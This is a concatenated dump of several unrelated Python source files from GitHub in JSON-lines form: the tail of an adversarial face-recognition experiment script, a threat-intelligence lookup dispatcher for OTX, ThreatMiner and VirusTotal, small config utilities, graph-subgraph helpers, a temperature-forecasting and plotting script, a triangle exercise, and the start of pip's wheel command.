decoder..\n\n assert mode in ['naive', 'jigsaw', 'rotate', 'prototypical']\n \n if mode == 'jigsaw':\n print('Warning: jigsaw models likely will not learn well')\n\n cudnn.benchmark = False\n cudnn.deterministic = True\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n np.random.seed(seed)\n\n if torch.cuda.is_available():\n print('running on cuda device')\n device = torch.device('cuda')\n else:\n print('running on cpu')\n device = torch.device('cpu')\n\n save_dir = '%s/%s_batch_%d_decoders_%d_mode_%s_iters_%d_lr_%s/'%(\n save_dir,\n surrogate, batch_size, n_decoders,\n mode, n_iters, \n ('%s'%lr).replace('0.','')\n )\n\n if train:\n os.makedirs(os.path.join(save_dir, 'models'), exist_ok=True)\n\n train_loop(\n device=device, \n n_decoders=n_decoders, surrogate=surrogate, lr=lr, n_iters=n_iters, mode=mode, \n data_loader=data_loader, batch_size=batch_size, n_imgs_per_person=n_imgs_per_person, \n save_dir=save_dir, \n start_idx=start_idx, end_idx=end_idx,\n force_retrain=force_retrain\n )\n else: # attack\n attack_loop(\n device,\n n_decoders=n_decoders, surrogate=surrogate, mode=mode,\n ce_niters=ce_niters, ce_epsilon=ce_epsilon, ce_alpha=ce_alpha, ce_method=ce_method,\n ila_niters=ila_niters, ila_epsilon=ila_epsilon,\n data_loader=data_loader, batch_size=batch_size, n_imgs_per_person=n_imgs_per_person,\n save_dir=save_dir,\n start_idx=start_idx, end_idx=end_idx\n )\n","repo_name":"will-jac/adverse-face","sub_path":"attacks/no_box/no_box.py","file_name":"no_box.py","file_ext":"py","file_size_in_byte":18036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34653686324","text":"import json\nimport os\n\n\nclass ConfigManager:\n ''' Manages the configuration file for the application. The configuration file can be found in the location defined in install_variables.\n\n If no configuration file exists, one will be created\n\n '''\n\n def __init__(self):\n install_variables = json.loads(open('config/install_variables.json').read())\n self.config_path = install_variables['config_location']\n self.config_files = {\n 'providers':'providers.json'\n }\n\n\n if not os.path.isfile(os.path.join(self.config_path, self.config_files['providers'])):\n self.write_providers([])\n\n def get_providers(self):\n ''' gets the api providers from the config files\n\n Returns:\n (list(dict)): A list of dictionaries, in the form \"name\":NAME, \"service\":SERVICE, \"token\":TOKEN\n ''' \n with open(os.path.join(self.config_path, self.config_files['providers']), 'r') as f:\n return json.loads(f.read())\n\n def write_providers(self, providers_list):\n ''' Writes a list of providers to file\n\n Args:\n providers_list (list(dict)): A list of provider definitions\n '''\n with open(os.path.join(self.config_path, self.config_files['providers']), 'w') as f:\n write_string = json.dumps({'api_providers':providers_list})\n f.write(write_string)","repo_name":"willstrach/Tongues-Translator","sub_path":"config/config_manager.py","file_name":"config_manager.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30890949204","text":"#!/usr/bin/env python3\r\n#\r\n# Copyright (c) 2020, 2021 Oracle and/or its affiliates. All rights reserved.\r\n#\r\nimport os\r\nimport json\r\nfrom OTXv2 import OTXv2\r\nimport IndicatorTypes\r\nimport requests\r\nimport copy\r\nimport vt\r\n\r\nclass OtxHandler:\r\n \"\"\"\r\n Handler class for connecting to and using the OTX API for threat intelligence.\r\n \"\"\"\r\n def __init__(self, api_key):\r\n self.limit_per_min = -1 # no limit\r\n self.otx = OTXv2(api_key)\r\n self.output = {\r\n \"ipv4s\": {},\r\n \"ipv6s\": {},\r\n \"domains\": {},\r\n \"md5s\": {},\r\n \"sha1s\": {},\r\n \"sha256s\": {},\r\n \"urls\": {},\r\n \"cves\": {},\r\n }\r\n # maps an indicator type to the reference required by OTXv2\r\n self.supported_indicators = {\r\n \"ipv4s\": IndicatorTypes.IPv4,\r\n \"ipv6s\": IndicatorTypes.IPv6,\r\n \"domains\": IndicatorTypes.DOMAIN,\r\n \"md5s\": IndicatorTypes.FILE_HASH_MD5,\r\n \"sha1s\": IndicatorTypes.FILE_HASH_SHA1,\r\n \"sha256s\": IndicatorTypes.FILE_HASH_SHA256,\r\n \"urls\": IndicatorTypes.URL,\r\n \"cves\": IndicatorTypes.CVE,\r\n }\r\n\r\n def run(self, indicators, indicator_type, maximum):\r\n \"\"\"\r\n Utilises the OTXv2 library to query and store results\r\n relating to threat intelligence observables from the OTX API.\r\n \"\"\"\r\n if indicator_type not in self.supported_indicators:\r\n print(f'[OTX] does not support {indicator_type}')\r\n exit()\r\n\r\n if indicator_type not in indicators:\r\n print(f'[OTX] {indicator_type} not found in provided observables')\r\n exit()\r\n\r\n print(f'[OTX] Querying a maximum of {maximum} out of {len(indicators[indicator_type])} {indicator_type}')\r\n count = 0\r\n for i in indicators[indicator_type]:\r\n if count == maximum:\r\n break\r\n\r\n # used to get an indicator when in format {value, source}\r\n if isinstance(i, dict):\r\n i = i['value']\r\n\r\n details = self.otx.get_indicator_details_full(\r\n IndicatorTypes.FILE_HASH_MD5, i)\r\n self.output[indicator_type][i] = details\r\n\r\n count += 1\r\n print(\"[OTX] complete\")\r\n\r\nclass ThreatMinerHandler:\r\n \"\"\"\r\n Handler class for connecting to and using the ThreatMiner API for threat intelligence.\r\n \"\"\"\r\n def __init__(self):\r\n self.limit_per_min = 10\r\n self.output = {\r\n \"ipv4s\": {},\r\n \"md5s\": {},\r\n \"sha1s\": {},\r\n \"sha256s\": {},\r\n \"imphashes\": {},\r\n \"ssdeeps\": {},\r\n \"email_addresses\": {},\r\n \"domains\": {},\r\n }\r\n # maps indicator type names to indicator_ids used in API call\r\n self.supported_indicators = {\r\n \"ipv4s\": \"host\",\r\n \"md5s\": \"sample\",\r\n \"sha1s\": \"sample\",\r\n \"sha256s\": \"sample\",\r\n \"imphashes\": \"imphash\",\r\n \"ssdeeps\": \"ssdeep\",\r\n \"email_addresses\": \"emails\",\r\n \"domains\": \"domain\",\r\n }\r\n # maps indicator_ids to rt flags\r\n self.indicator_rts = {\r\n \"domain\": {\r\n 1: 'whois',\r\n 2: 'passive dns',\r\n 3: 'example query uri',\r\n 4: 'related samples',\r\n 5: 'subdomains',\r\n 6: 'report tagging',\r\n },\r\n \"host\": {\r\n 1: 'whois',\r\n 2: 'passive dns',\r\n 3: 'URIs',\r\n 4: 'related samples',\r\n 5: 'SSL certificates',\r\n 6: 'report tagging',\r\n },\r\n \"sample\": {\r\n 1: 'metadata',\r\n 2: 'http traffic',\r\n 3: 'hosts',\r\n 4: 'mutants',\r\n 5: 'registry keys',\r\n 6: 'av detections',\r\n 7: 'report tagging',\r\n },\r\n \"imphash\": {\r\n 1: 'samples',\r\n 2: 'report tagging',\r\n },\r\n \"ssl\": {\r\n 1: 'hosts',\r\n 2: 'report tagging',\r\n },\r\n \"emails\": {\r\n 1: 'domains',\r\n },\r\n }\r\n self.request_headers = {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.130 Safari/537.36'\r\n }\r\n\r\n def run(self, indicators, indicator_type, maximum):\r\n '''\r\n ThreatMiner query format:\r\n https://api.threatminer.org/v2/{indicator_id}.php?q={observable}&rt={rt}\r\n\r\n indicator_type indicator_id\r\n domains domain\r\n ipv4s host\r\n hashes sample (sha1, sha256, sha512, ssdeep, imphash)\r\n imphashes imphash\r\n ssdeeps ssdeep\r\n email_addresses email\r\n\r\n rt flag numbers and their descriptions for each indicator_id is represented in the indicators_rts dictionary\r\n '''\r\n\r\n if indicator_type not in self.supported_indicators:\r\n print(f'[ThreatMiner] does not support {indicator_type}')\r\n exit()\r\n\r\n if indicator_type not in indicators:\r\n print(f'[ThreatMiner] {indicator_type} not found in provided observables')\r\n exit()\r\n\r\n print(f'[ThreatMiner] Querying a maximum of {maximum} out of {len(indicators[indicator_type])} {indicator_type}')\r\n count = 0\r\n for i in indicators[indicator_type]:\r\n if count == maximum:\r\n break\r\n\r\n # used to get an indicator when in format {value, source}\r\n if isinstance(i, dict):\r\n i = i['value']\r\n\r\n indicator_id = self.supported_indicators[indicator_type]\r\n\r\n for flag in self.indicator_rts[indicator_id]:\r\n url = f\"https://api.threatminer.org/v2/{indicator_id}.php?q={i}&rt={flag}\"\r\n r = requests.get(url, headers=self.request_headers)\r\n j = json.loads(r.text)\r\n \r\n flag_desc = self.indicator_rts[indicator_id][flag]\r\n if j.get('status_code') == '200': # response found\r\n print(f'[ThreatMiner] Success! (Observable: {i} | Flag: {flag})')\r\n if flag_desc not in self.output[indicator_type]:\r\n self.output[indicator_type][flag_desc] = {}\r\n self.output[indicator_type][flag_desc][i] = j.get('results')\r\n else:\r\n status_code = j.get('status_code')\r\n print(f'[ThreatMiner] Failure! (Observable: {i} | ID: {indicator_id} | Flag: {flag} | Status Code: {status_code})')\r\n\r\n count += 1\r\n print(\"[ThreatMiner] complete\")\r\n\r\nclass VirusTotalHandler:\r\n \"\"\"\r\n Handler class for connecting to and using the VirusTotal API for threat intelligence.\r\n Docs: https://developers.virustotal.com/v3.0/\r\n API Request Limitations:\r\n Rate = 4 requests / minute\r\n Maximum = 500 requests / day\r\n \"\"\"\r\n def __init__(self, api_key):\r\n self.limit_per_min = 4 #doesn't seem accurate?\r\n self.vt_client = vt.Client(api_key)\r\n self.output = {\r\n \"ipv4s\": {},\r\n \"md5s\": {},\r\n \"sha1s\": {},\r\n \"sha256s\": {},\r\n \"urls\": {},\r\n \"domains\": {},\r\n }\r\n # maps supported indicators to their API object reference id\r\n self.supported_indicators = {\r\n \"ipv4s\": \"ip_addresses\",\r\n \"md5s\": \"files\",\r\n \"sha1s\": \"files\",\r\n \"sha256s\": \"files\",\r\n \"urls\": \"urls\",\r\n \"domains\": \"domains\",\r\n }\r\n\r\n def run(self, indicators, indicator_type, maximum):\r\n \"\"\"\r\n Utilises the vt-py library to query and store results\r\n relating to threat intelligence observables from the VirusTotal v3 API.\r\n \"\"\"\r\n if maximum > 500:\r\n print(f'[VirusTotal] {maximum} > 500 | maximum of 500 API calls a day for free accounts')\r\n maximum = 500\r\n\r\n if indicator_type not in self.supported_indicators:\r\n print(f'[VirusTotal] does not support {indicator_type}')\r\n exit()\r\n\r\n if indicator_type not in indicators:\r\n print(f'[VirusTotal] {indicator_type} not found in provided observables')\r\n exit()\r\n\r\n print(f'[VirusTotal] Querying a maximum of {maximum} out of {len(indicators[indicator_type])} {indicator_type}')\r\n count = 0\r\n for i in indicators[indicator_type]:\r\n if count == maximum:\r\n break\r\n # used to get an indicator when in format {value, source}\r\n if isinstance(i, dict):\r\n i = i['value']\r\n\r\n # required from vt-py\r\n if indicator_type == \"urls\":\r\n i = vt.url_id(i)\r\n\r\n try:\r\n req = f'/{self.supported_indicators[indicator_type]}/{i}'\r\n res = self.vt_client.get_object(req)\r\n print(f\"[VirusTotal] Success! {i}\")\r\n self.output[indicator_type][i] = {}\r\n self.output[indicator_type][i]['last_analysis_stats'] = res.last_analysis_stats\r\n self.output[indicator_type][i]['last_analysis_results'] = res.last_analysis_results\r\n # note: according to the docs, virustotal has a 4req/min limit, but I have not encountered any rate limit\r\n # if this becomes an issue in the future, put a sleep() here\r\n except vt.error.APIError as e:\r\n if e.code == 'NotFoundError':\r\n print(f\"[VirsTotal] Failure! {i}\")\r\n pass\r\n else:\r\n print(\"[VirusTotal] API Error:\", e)\r\n continue\r\n except Exception as e:\r\n print(\"[VirusTotal] Something unexpected went wrong: \", e)\r\n count += 1\r\n\r\n self.vt_client.close()\r\n print(\"[VirusTotal] complete\")\r\n\r\ndef loadObservables():\r\n '''\r\n Open the global_collation JSON outputted by the Protean pipeline.\r\n Returns only the extracted_iocs portion of the JSON\r\n '''\r\n with open(os.path.join(results_path, 'global_collation.json'), 'r') as fp:\r\n protean_json = json.load(fp)\r\n\r\n if 'extracted_iocs' in protean_json:\r\n return protean_json['extracted_iocs']\r\n elif 'iocextract' in protean_json:\r\n return protean_json['iocextract']\r\n else:\r\n return protean_json['ioc-finder']\r\n\r\nif __name__ == '__main__':\r\n \"\"\"\r\n The dispatcher provides methods to use the Protean's results (specifically observables extracted\r\n by iocextract or ioc-finder)\r\n \"\"\"\r\n results_path = os.path.dirname(__file__) + \"/results/\"\r\n observables = loadObservables()\r\n\r\n # API Keys\r\n otx_key = None\r\n vt_key = None\r\n config_path = os.path.dirname(os.path.dirname(__file__)) + \"/config/\"\r\n print(config_path)\r\n with open(config_path + \"api_keys.json\", 'r') as fp:\r\n api_keys = json.load(fp)\r\n\r\n otx_key = api_keys.get('otx_api', None)\r\n vt_key = api_keys.get('vt_api', None)\r\n\r\n if otx_key == None:\r\n print(\"OTX API Key not found\")\r\n\r\n if vt_key == None:\r\n print(\"VT API Key not found\")\r\n\r\n # Instantiate Classes\r\n otx_handler = OtxHandler(otx_key)\r\n tm_handler = ThreatMinerHandler()\r\n vt_handler = VirusTotalHandler(vt_key)\r\n\r\n # Run API for observables types in their respective filter\r\n with open(config_path + \"api_filters.json\", 'r') as fp:\r\n api_filters = json.load(fp)\r\n\r\n supported_apis = {\r\n 'otx': otx_handler.run,\r\n 'threatminer': tm_handler.run,\r\n 'virustotal': vt_handler.run\r\n }\r\n\r\n for api in supported_apis:\r\n for ioc_type in api_filters[api]:\r\n if ioc_type == \"max_requests_per_type\":\r\n continue\r\n if api_filters[api][ioc_type] == True:\r\n supported_apis[api](observables, ioc_type, api_filters[api][\"max_requests_per_type\"])\r\n\r\n # JSON export\r\n results = {\r\n \"otx_api_results\": otx_handler.output,\r\n \"threatminer_api_results\": tm_handler.output,\r\n \"virustotal_api_results\": vt_handler.output,\r\n }\r\n\r\n print(\"[APIDispatcher] Complete\")\r\n with open(results_path + \"api_outputs/api_results.json\", 'w') as fp:\r\n json.dump(results, fp)\r\n","repo_name":"uqcyber/Protean","sub_path":"tools/protean/src/api_dispatcher.py","file_name":"api_dispatcher.py","file_ext":"py","file_size_in_byte":12558,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"19396697492","text":"\nimport json\nimport os\n\ndef default_conf_file(conf_path):\n new_string = \"\"\" \n{\n \"commands\": \n [\n {\n \"name\": \"rewrite_text\",\n \"summary\": \"Rescrever o texto ...\",\n \"query\": \"Reescrever o texto corrigindo os problemas de escrita\\\\n\\\\n\",\n \"accelerator\":\"r\"\n },\n {\n \"name\": \"traduzir_text\",\n \"summary\": \"Traduzir ao ...\",\n \"query\":\"Traduzir ao portugues\\\\n\\\\n\",\n \"accelerator\":\"t\"\n }\n ],\n \"api_key\": \"PUT-HERE-YOUR-OPENIA-API_KEY\"\n}\n \"\"\"\n file = open(conf_path, \"w\")\n file.write(new_string)\n file.close()\n\ndef load_conf_dict(conf_path):\n # Opening JSON file\n dict_conf=None;\n \n if os.path.isfile(conf_path)==False:\n default_conf_file(conf_path);\n \n with open(conf_path) as json_file:\n dict_conf = json.load(json_file);\n \n return dict_conf;\n","repo_name":"trucomanx/gedit-plugin-gotochatgpt","sub_path":"gotochatgpt/conffile.py","file_name":"conffile.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74375396562","text":"import torch\nimport numpy as np\nimport random\nfrom torch_geometric.utils import k_hop_subgraph\n\n\n\ndef largest_connected_subgraph(nodes, edges):\n all_nodes_subgraph = np.unique(edges)\n first_node_subgraph, *_ = k_hop_subgraph(int(all_nodes_subgraph[0]), len(all_nodes_subgraph), edges)\n new_nodes = nodes\n new_edges = edges\n if not len(first_node_subgraph) == len(all_nodes_subgraph):\n # look for largest connected subgraph\n subgraph_sizes = []\n for query_node in all_nodes_subgraph:\n query_subgraph, *_ = k_hop_subgraph(int(query_node), len(all_nodes_subgraph), edges)\n subgraph_sizes.append((query_node, len(query_subgraph)))\n largest_sg_node = sorted(subgraph_sizes, reverse=True, key=lambda nl: nl[1])[0]\n \n new_nodes, new_edges = khop_node_edges(largest_sg_node, nodes, edges, len(all_nodes_subgraph))\n for n in np.where(np.sum(new_nodes, axis=1))[0]:\n assert n in new_edges, f\"{np.where(np.sum(nodes, axis=1))[0], edges, all_nodes_subgraph}\"\n \n return new_nodes, new_edges\n\n\ndef subgraph_by_node_removal(old_nodes, old_edges, node_to_remove):\n new_nodes = old_nodes.copy()\n new_nodes[node_to_remove] = np.zeros_like(old_nodes[node_to_remove])\n # one column is one edge\n # remove edges containing only pruned node\n edges_to_keep_bool = np.all(np.array(old_edges != node_to_remove), axis=0)\n edges_to_keep_idx = np.where(edges_to_keep_bool)[0]\n new_edges = old_edges.clone()[:, edges_to_keep_idx]\n all_valid_nodes_idx = np.unique(new_edges)\n newer_nodes = np.zeros_like(new_nodes)\n # filter nodes that were only connected to the pruned node\n for i in all_valid_nodes_idx:\n newer_nodes[i] = new_nodes[i]\n for n in np.where(np.sum(newer_nodes, axis=1))[0]:\n assert n in np.unique(new_edges), f\"{n, new_edges, node_to_remove}\"\n assert not node_to_remove in np.unique(new_edges)\n for n in np.unique(new_edges):\n assert n in np.where(np.sum(newer_nodes, axis=1))[0]\n return newer_nodes, new_edges\n\ndef khop_node_edges(node_idx, old_nodes, old_edges, k):\n new_nodes = np.zeros_like(old_nodes)\n neighbors, *_ = k_hop_subgraph(node_idx, k, old_edges)\n new_edges = []\n for i in neighbors.tolist():\n new_nodes[i] = old_nodes[i]\n # allow only edges within subgraph\n for i, edge in enumerate(old_edges.T):\n u, v = edge\n if u in neighbors and v in neighbors:\n new_edges.append(old_edges.T[i])\n new_edges = torch.stack(new_edges).T\n \n return new_nodes, new_edges\n\ndef sample_coalition(coalition_idx):\n coalition_len = random.choice(list(range(1, len(coalition_idx))))\n coalition = random.choices(coalition_idx, k=coalition_len)\n return coalition","repo_name":"rhotertj/subgraphx-project","sub_path":"src/sgx_utils.py","file_name":"sgx_utils.py","file_ext":"py","file_size_in_byte":2788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29572771284","text":"import datetime\nimport pytz\nfrom datetime import timedelta\nimport numpy as np\nimport timely_beliefs as tb\nfrom timely_beliefs.beliefs.utils import load_time_series\nimport pandas as pd\nfrom sklearn.linear_model import LinearRegression\n\n# ridgeline function imports\nfrom bokeh.palettes import viridis\nfrom bokeh.io import show\nfrom bokeh.models import ColumnDataSource, FixedTicker, FuncTickFormatter, LinearAxis\nfrom bokeh.plotting import figure\nimport scipy.stats as stats\n\n# makes a list for the ridgeline function as input\ndef ridge(category, data, scale=100):\n return list(zip([category] * len(data), scale * data))\n\n### reading csv as dataframe code:\ndef read_beliefs_from_csv(sensor,csv_in, source, event_resolution: timedelta = None, tz_hour_difference: float = 0, n_events: int = None) -> list:\n beliefs = pd.read_csv(csv_in,\n index_col=0, parse_dates=[0],\n date_parser=lambda col : pd.to_datetime(col, utc=True) - timedelta(hours=tz_hour_difference),\n nrows=n_events, usecols=[\"datetime\", sensor.name.replace(' ', '_').lower()])\n if event_resolution is not None:\n beliefs = beliefs.resample(event_resolution).mean()\n assert beliefs.index.tzinfo == pytz.utc\n # Construct the BeliefsDataFrame by looping over the belief horizons\n blfs = load_time_series(beliefs[sensor.name.replace(' ', '_').lower()], sensor=sensor, source=source,\n belief_horizon=timedelta(hours=0), cumulative_probability=0.5) # load the observations (keep cp=0.5)\n return blfs\n\ndef csv_as_belief(csv_in,tz_hour_difference,n_events = None):\n # Uncomment desired forecasting data one at a time\n sensor_descriptions = (\n # (\"Solar irradiation\", \"kW/m²\"),\n # (\"Solar power\", \"kW\"),\n # (\"Wind speed\", \"m/s\"),\n # (\"Wind power\", \"MW\"),\n (\"Temperature\", \"°C\"),\n )\n # Create source and sensors\n source_a = tb.BeliefSource(name=\"KNMI\")\n sensors = (tb.Sensor(name=descr[0], unit=descr[1], event_resolution=timedelta(minutes=15)) for descr in sensor_descriptions)\n # Create BeliefsDataFrame\n for sensor in sensors:\n blfs = read_beliefs_from_csv(sensor,csv_in, source=source_a, tz_hour_difference=tz_hour_difference, n_events=n_events)\n df = tb.BeliefsDataFrame(sensor=sensor, beliefs=blfs).sort_index()\n return df\n### End of reading csv as dataframe code\n\ndef generator(df, beliefSeries, model):\n \"\"\"\n Generates a new forecast at a given time using a model\n @param df : BeliefsDataframe containing all necessary data\n @param beliefSeries : BeliefSeries object\n @param model : model to use to generate new data\n \"\"\"\n # check if model is linear_regression\n if isinstance(model, LinearRegression):\n X = np.array([[1], [2], [3], [4]]) # placeholder, takes one point only\n model.fit(X,X)\n return model.predict(np.array([[beliefSeries[0]]]))[0][0]\n # error message\n raise NotImplementedError(\"This model functionality has not yet been implemented/ Did you pass the correct model?\")\n\n# gets a beliefSeries from a certain BeliefsDataFrames at a certain time.\n# using a datetime object\ndef get_beliefsSeries_from_event_start(df,datetime_object,current_time,value):\n return df.loc[datetime_object.strftime(\"%m/%d/%Y, %H:%M:%S\"),value]\n\n# gets a beliefSeries from a certain BeliefsDataFrames at a certain time.\n# using a datetime str\ndef get_beliefsSeries_from_event_start_str(datetime_str,current_time):\n return df.loc[(datetime_str,current_time),'event_value']\n\ndef main(df, current_time, start_time, last_start_time=None, model=LinearRegression(), source=None):\n \"\"\"\n Accepts a Beliefs Dataframe df and returns forecasts from start_time to last_start_time in timely beliefs rows\n @param df: Beliefs Dataframe\n @param current_time : datetime object, generate a forecast from this point\n @param start_time: datetime object,\n @param last_start_time: datetime object\n @param model : model to use to generate new data\n \"\"\"\n\n if last_start_time == None:\n last_start_time = start_time\n # check if times are in chronological order\n elif start_time > last_start_time:\n raise ValueError(\"last_start_time must be set after start_time\")\n first_date = df.iloc[0].name[0]\n last_date = df.iloc[-1].name[0]\n # check if current time is in data frame\n if current_time < first_date or current_time > last_date :\n raise ValueError('Your current_time is not in the dataframe \\nstart:{}\\nend :{}'.format(first_date, last_date))\n # check if current time is compatible with the event resolution\n resolution_minutes = df.sensor.event_resolution.seconds / 60\n if current_time.minute % (resolution_minutes) != 0:\n raise ValueError('Your current_time is not compatible with the event resolution of {} minutes'.format(resolution_minutes))\n # get beliefseries from all the times\n current = get_beliefsSeries_from_event_start(df,current_time,current_time, 'event_value')\n start = get_beliefsSeries_from_event_start(df,start_time,current_time, 'event_value')\n last_start = get_beliefsSeries_from_event_start(df,last_start_time,current_time, 'event_value')\n # create list of beliefSeries\n beliefSeries_list = [start.copy()]\n blfs_list = []\n temp_time = start_time\n i = 0\n # loop over given time slot\n while temp_time <= last_start_time:\n if temp_time > last_date or temp_time < first_date:\n i += 1\n blfs_list += [tb.TimedBelief(\n source= tb.BeliefSource(name='test'+ str(i)),\n sensor= df.sensor,\n value= generator(df,current,model),\n belief_time= current_time,\n event_start= temp_time,\n cumulative_probability= 0.5,\n )]\n else:\n beliefSeries_list += [get_beliefsSeries_from_event_start(df,temp_time,current_time,'event_value').copy()]\n temp_time += df.sensor.event_resolution\n df_1 = tb.BeliefsDataFrame(sensor=df.sensor, beliefs=blfs_list)\n # loops over all time steps\n for beliefSeries in beliefSeries_list:\n if beliefSeries.empty == False:\n beliefSeries[0] = generator(df, current, model)\n temp = beliefSeries_list[0].to_frame(name='event_value')\n #loop over out of frame values\n for i in range(len(beliefSeries_list)-2):\n temp = temp.append(beliefSeries_list[i+2].to_frame(name='event_value'))\n df_1 = temp.append(df_1)\n return df_1\n\n\ndef mean_std_generator(dfnew,df,start,last_start,current_time):\n \"\"\"\n Creates a list of means and a list of standard deviation based on the differences\n between two belief frames.\n @param dfnew: BeliefsDataFrame\n @param df: BeliefsDataFrame\n @param start: datetime_object\n @param last_start: datetime_object\n @param current_time: datetime_object\n \"\"\"\n if start > last_start:\n raise ValueError(\"last_start time must be set after start time\")\n if current_time > start:\n raise ValueError(\"Forecasts cannot be made for times before current_time\")\n temp_time = start\n first_date = df.iloc[0].name[0] \n last_date = df.iloc[-1].name[0]\n\n if start < first_date or last_start > last_date:\n raise ValueError(\"Current implementation cannot operate with dates outside of data\")\n diff_list = []\n mean_list = []\n # loop through range given and calc difference and means\n while temp_time <= last_start:\n if temp_time < last_date:\n diff_list += [abs(get_beliefsSeries_from_event_start(df,temp_time,current_time,'event_value').copy()[0] -\n get_beliefsSeries_from_event_start(dfnew,temp_time,current_time,'event_value').copy()[0])]\n mean_list += [get_beliefsSeries_from_event_start(dfnew,temp_time,current_time,'event_value').copy()[0]]\n temp_time += df.sensor.event_resolution\n return diff_list,mean_list\n\n# this is from the ridgeline file, so can also be imported etc.\ndef show_plot(mean, std, start, end, fixedviewpoint=False):\n \"\"\"\n Creates and shows ridgeline plot\n @param mean: list of mean values\n @param std: list of standard deviation values\n @param start: start hours before event-time\n @param end: end hours before event-time\n @param fixedviewpoint : if true create fixed viewpoint plot\n \"\"\"\n nr_lines = len(mean)\n x = np.linspace(-10, 30, 500)\n frame = pd.DataFrame()\n for i in range(nr_lines):\n frame[\"{}\".format(i)] = stats.norm.pdf(x, mean[i], std[i])\n pallete = viridis(nr_lines)\n if fixedviewpoint:\n cats = list(frame.keys())\n else:\n cats = list(reversed(frame.keys()))\n source = ColumnDataSource(data=dict(x=x))\n p = figure(y_range=cats, plot_width=900, x_range=(-5, 30), toolbar_location=None)\n for i, cat in enumerate(reversed(cats)):\n y = ridge(cat, frame[cat], 50)\n source.add(y, cat)\n p.patch('x', cat, alpha=0.6, color=pallete[i], line_color=\"black\", source=source)\n if fixedviewpoint:\n p.yaxis.axis_label = 'Number of hours after event_start'\n y_ticks = list(np.arange(0, nr_lines, 5))\n yaxis = LinearAxis(ticker=y_ticks)\n y_labels = list((np.arange(0, nr_lines, 5)))\n else:\n p.yaxis.axis_label = 'Number of hours before event_start'\n y_ticks = list(np.arange(end, 0, -5))\n yaxis = LinearAxis(ticker=y_ticks)\n y_labels = list(np.arange(start, end, 5))\n mapping_dict = {y_ticks[i]: str(y_labels[i]) for i in range(len(y_labels))}\n for i in range(nr_lines):\n if i not in mapping_dict:\n mapping_dict[i]=\" \"\n mapping_code = \"var mapping = {};\\n return mapping[tick];\\n \".format(mapping_dict)\n p.yaxis.formatter = FuncTickFormatter(code=mapping_code)\n p.outline_line_color = None\n p.background_fill_color = \"#ffffff\"\n p.xaxis.ticker = FixedTicker(ticks=list(range(-20, 101, 10)))\n p.xaxis.axis_label = 'Temperature (Celcius)'\n p.ygrid.grid_line_color = None\n p.xgrid.grid_line_color = \"#000000\"\n p.xgrid.ticker = p.xaxis[0].ticker\n p.axis.minor_tick_line_color = None\n p.axis.major_tick_line_color = None\n p.axis.axis_line_color = None\n p.y_range.range_padding = 0.2 / (nr_lines / 168)\n show(p)\n\n\n# testing\ncsv_file = 'energy_data.csv'\ndf = csv_as_belief(csv_file,-9,None)\ncurrent_time = datetime.datetime(2015, 1, 1, 16,15, tzinfo=pytz.utc)\nstart_time = datetime.datetime(2015, 1, 2, 20,45, tzinfo=pytz.utc)\nlast_start_time = datetime.datetime(2015, 1, 5, 0,0, tzinfo=pytz.utc)\nseries = main(df,current_time,start_time, last_start_time)\nprint(series)\ndiff_list,mean_list = mean_std_generator(series,df,start_time,last_start_time,current_time)\nshow_plot(mean_list,diff_list,0,len(mean_list))\n","repo_name":"topteulen/Addition-to-timely-beliefs","sub_path":"generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":10817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25380371310","text":"a = float(input('Digite o valor do primeiro lado do triângulo: '))\nb = float(input('Digite o valor do segundo lado do triângulo: '))\nc = float(input('Digite o valor do terceiro lado do triângulo: '))\nif a < b + c and b < a + c and c < a + b:\n print('Você conseguirá fazer um triângulo')\n if a == b and a != c or b == c and b != a:\n print('Ele será um triângulo \\033[1;33mISÓSCELES\\033[m.')\n elif a == b and a == c:\n print('Ele será um triângulo \\033[1;33mEQUILÁTERO\\033[m.')\n elif a is not b and a is not c:\n print('Ele será um triângulo \\033[1;33mESCALENO\\033[m.')\nelse:\n print('Você não conseguirá fazer um triângulo.')","repo_name":"joaomarquardt/python-exercicios-cev","sub_path":"ex042.py","file_name":"ex042.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31292412963","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\n\nimport logging\nimport os\n\nfrom pip._internal.cache import WheelCache\nfrom pip._internal.cli import cmdoptions\nfrom pip._internal.cli.base_command import RequirementCommand\nfrom pip._internal.exceptions import CommandError, PreviousBuildDirError\nfrom pip._internal.operations.prepare import RequirementPreparer\nfrom pip._internal.req import RequirementSet\nfrom pip._internal.req.req_tracker import RequirementTracker\nfrom pip._internal.resolve import Resolver\nfrom pip._internal.utils.temp_dir import TempDirectory\nfrom pip._internal.wheel import WheelBuilder\n\nlogger = logging.getLogger(__name__)\n\n\nclass WheelCommand(RequirementCommand):\n \"\"\"\n Build Wheel archives for your requirements and dependencies.\n\n Wheel is a built-package format, and offers the advantage of not\n recompiling your software during every install. For more details, see the\n wheel docs: https://wheel.readthedocs.io/en/latest/\n\n Requirements: setuptools>=0.8, and wheel.\n\n 'pip wheel' uses the bdist_wheel setuptools extension from the wheel\n package to build individual wheels.\n\n \"\"\"\n\n name = 'wheel'\n usage = \"\"\"\n %prog [options] ...\n %prog [options] -r ...\n %prog [options] [-e] ...\n %prog [options] [-e] ...\n %prog [options] ...\"\"\"\n\n summary = 'Build wheels from your requirements.'\n\n def __init__(self, *args, **kw):\n super(WheelCommand, self).__init__(*args, **kw)\n\n cmd_opts = self.cmd_opts\n\n cmd_opts.add_option(\n '-w', '--wheel-dir',\n dest='wheel_dir',\n metavar='dir',\n default=os.curdir,\n help=(\"Build wheels into , where the default is the \"\n \"current working directory.\"),\n )\n 